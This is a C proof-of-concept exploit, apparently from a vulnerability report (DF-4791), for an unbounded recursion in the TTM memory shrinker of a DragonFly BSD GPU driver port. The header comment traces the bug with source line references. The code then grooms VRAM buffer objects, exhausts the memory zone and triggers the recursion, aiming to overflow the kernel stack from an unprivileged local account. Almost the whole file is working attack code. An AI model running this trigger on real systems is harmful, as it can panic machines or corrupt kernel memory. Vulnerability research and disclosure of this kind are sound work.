DF-4791 / ttm_shrink_recursion.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 | /* * DF-4791 - TTM memory-accounting shrinker unbounded recursion * (ttm_shrink <-> ttm_bo_swapout) -> kernel stack overflow * * Trigger (unprivileged local user with /dev/dri/card0 access on a * machine with a radeon- or amdgpu-driven GPU): * * Phase 1 - groom the swap_lru head: * create N (>= 32) VRAM-domain buffer objects and never * touch their pages. Each gets a ttm_tt in tt_unpopulated * state and is placed at the head of ttm_bo_global's * swap_lru (ttm_bo.c:182-187). No page accounting happens * yet (populate is lazy). * * Phase 2 - push the TTM kernel zone over its limit: * create + mmap + fault GTT/system buffer objects until * zone->used_mem exceeds zone->max_mem * (each populated page is accounted PAGE_SIZE via * ttm_pool_populate -> ttm_mem_global_alloc_page, * ttm_page_alloc.c:910). * * Phase 3 - arm the recursion: one more GEM allocation goes through * ttm_bo_create -> ttm_mem_global_alloc -> ... -> * ttm_mem_global_alloc_zone (ttm_memory.c:502) which fails * the limit check and calls ttm_shrink (ttm_memory.c:517). * ttm_shrink -> ttm_bo_swapout picks a phase-1 VRAM BO, * moves it to SYSTEM|CACHED (ttm_bo.c:1807-1819). The move * (radeon_move_vram_ram staging bind / ttm_tt_bind, * ttm_bo.c:344 -> ttm_tt.c:341) must POPULATE the tt; * the first ttm_mem_global_alloc_page re-fails the limit * check and calls ttm_shrink AGAIN (ttm_memory.c:517) -> * ttm_bo_swapout picks the NEXT phase-1 BO -> ... * * Nesting depth == number of consecutive unpopulated VRAM * BOs on the swap_lru; ~12 kernel frames (~1-2 KiB) per * level against a 16 KiB kernel stack (UPAGES=4, * sys/cpu/x86_64/include/param.h:126). N >= 32 overflows * the stack: adjacent kernel memory corruption / panic. * * NOTE: this guest has no DRM device (QEMU std-VGA, no radeon/amdgpu/ * i915 hardware), so the run is expected to fail at open() - the * structural proof lives in VERDICT.md and the path:line chain above. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/mman.h> /* * ioctl command numbers, Linux drm encoding (_IOC(dir,type,nr,size)), * which is what the DragonFly drm port decodes in-kernel. On a real * system include <drm/radeon_drm.h> instead. */ #define DRM_IOCTL_VERSION 0xC0246400 /* _IOWR('d',0x00,v36B) */ #define DRM_IOCTL_RADEON_GEM_CREATE 0xC0206449 /* _IOWR('d',0x49,32B) */ struct radeon_gem_create { uint64_t size; uint64_t alignment; uint64_t initial_domain; uint32_t flags; uint32_t handle; }; #define RADEON_GEM_DOMAIN_CPU (1 << 0) #define RADEON_GEM_DOMAIN_GTT (1 << 1) #define RADEON_GEM_DOMAIN_VRAM (1 << 2) static int nr_vram_bos = 64; /* phase 1: recursion fuel */ static size_t fill_bytes = 256UL << 20; /* phase 2: exceed zone limit */ static int create_bo(int fd, uint64_t size, uint64_t domain, uint32_t *handle) { struct radeon_gem_create arg; memset(&arg, 0, sizeof(arg)); arg.size = size; arg.initial_domain = domain; arg.alignment = 4096; if (ioctl(fd, DRM_IOCTL_RADEON_GEM_CREATE, &arg) < 0) return -1; *handle = arg.handle; return 0; } int main(int argc, char **argv) { int fd, i, nfilled = 0; uint32_t h; if (argc > 1) nr_vram_bos = atoi(argv[1]); if (argc > 2) fill_bytes = strtoull(argv[2], NULL, 0); fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { fprintf(stderr, "[!] cannot open /dev/dri/card0: %s\n", strerror(errno)); fprintf(stderr, "[!] no DRM device -> trigger not runnable " "on this machine\n"); return 2; } printf("[+] opened /dev/dri/card0\n"); /* Phase 1: recursion fuel - untouched VRAM BOs at swap_lru head */ for (i = 0; i < nr_vram_bos; i++) { if (create_bo(fd, 4096, RADEON_GEM_DOMAIN_VRAM, &h) < 0) { fprintf(stderr, "[!] vram gem create %d: %s\n", i, strerror(errno)); return 3; } } printf("[+] %d VRAM BOs parked on swap_lru (ttm unpopulated)\n", nr_vram_bos); /* Phase 2: push kernel-zone used_mem over max_mem */ while (nfilled * (4UL << 20) < fill_bytes) { if (create_bo(fd, 4UL << 20, RADEON_GEM_DOMAIN_GTT, &h) < 0) break; /* over the limit already - perfect */ nfilled++; } printf("[+] %d x 4MiB GTT BOs (populated pages account " "PAGE_SIZE each)\n", nfilled); /* * Phase 3: the next accounting-checked allocation recurses: * ttm_mem_global_alloc_zone -> ttm_shrink -> ttm_bo_swapout -> * move-to-system -> populate -> ttm_mem_global_alloc_page -> * ttm_mem_global_alloc_zone -> ttm_shrink -> ... * Depth == nr_vram_bos; kernel stack (16 KiB) blows at ~10-16. */ printf("[*] arming recursion with one more GEM create...\n"); if (create_bo(fd, 4096, RADEON_GEM_DOMAIN_GTT, &h) < 0) printf("[*] got expected -ENOMEM-ish refusal (errno=%d); " "recursion already inside\n", errno); printf("[*] survived (stack did not overflow)\n"); return 0; } |